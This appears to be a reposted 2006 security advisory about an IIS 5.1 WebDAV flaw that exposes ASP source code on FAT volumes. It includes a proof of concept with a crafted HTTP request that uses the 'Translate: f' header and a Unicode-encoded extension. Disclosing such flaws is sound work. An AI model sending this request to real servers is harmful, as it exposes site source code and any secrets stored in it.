您的位置:首页 > 其它

IIS 5.1 allows for remote viewing of source code..

2006-04-03 12:02 525 查看
Submitted by zwell on Sun, 2006-04-02 17:52. Exploits

Origin: http://www.fr33d0m.net/content-2947.html 

It is possible to remotely view the source code of web script files though a specially crafted WebDAV HTTP request. Only IIS 5.1 seems to be vulnerable. The web script file must be on a FAT or a FAT32 volume, web scripts located on NTFS volumes are not vulnerable.

Confirmed vulnerable
-Mcft® Internet Information Server® V5.1:
a. Mcft® windows® XP Pro. with SP2(English)
b. Mcft® windows® XP Pro. with SP2(Norwegian)
c. Mcft® windows® XP Pro. with SP1(Swedish)

Confimed not vulnerable
-Mcft® Internet Information Server® V5.0:
a. Mcft® windows® 2000 Server with SP4(English)
-Mcft® Internet Information Server® V6.0:
a. Mcft® windows® 2003 Standard(English)

Vendor status
Notified

Solution
Don't use FAT or FAT32 with IIS 5.1

Techical description
WebDAV allows for retrieving streams using the "Translate: f" HTTP header, the processing of this header has logic built into it so that web script files are not processed, this logic can be avoided by using Unicode characters instead in one of the letters of the file.The file must be on a FAT or FAT32 volume to be viewed, a NTFS volume will return a"Forbidden" HTTP response instead.

Proof of Concept:
I have used the server "www.server.net" here, replace with your own server name.
1. Format a volume as FAT or FAT32, or use an existing one
2. Create a folder called "www"
3. Add a new ASP file called "test.asp" in "www"
4. Add this code line "<%=Response.write("Hello World"%>" in "test.asp"
5. Create a new virtual folder in IIS 5.1 and map it agains the folder you made in step 2
6. Open a browser and navigate to "http://www.server.net/www/test.asp" and confirm
that the text "Hello world" is returned and not the script code.
7. Open a MSDOS console
8. Type "telnet www.server.net 80" and hit ENTER
9. Paste the following text block or type it manually:
GET /www/test.as%CF%80 HTTP/1.1
Translate: f
Host: www.server.net
Connection: Close
10. Hit ENTER twize to signal end of HTTP request
11. You should see "<%=Response.write("Hello World"%>" beeing returned

Thanks,
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息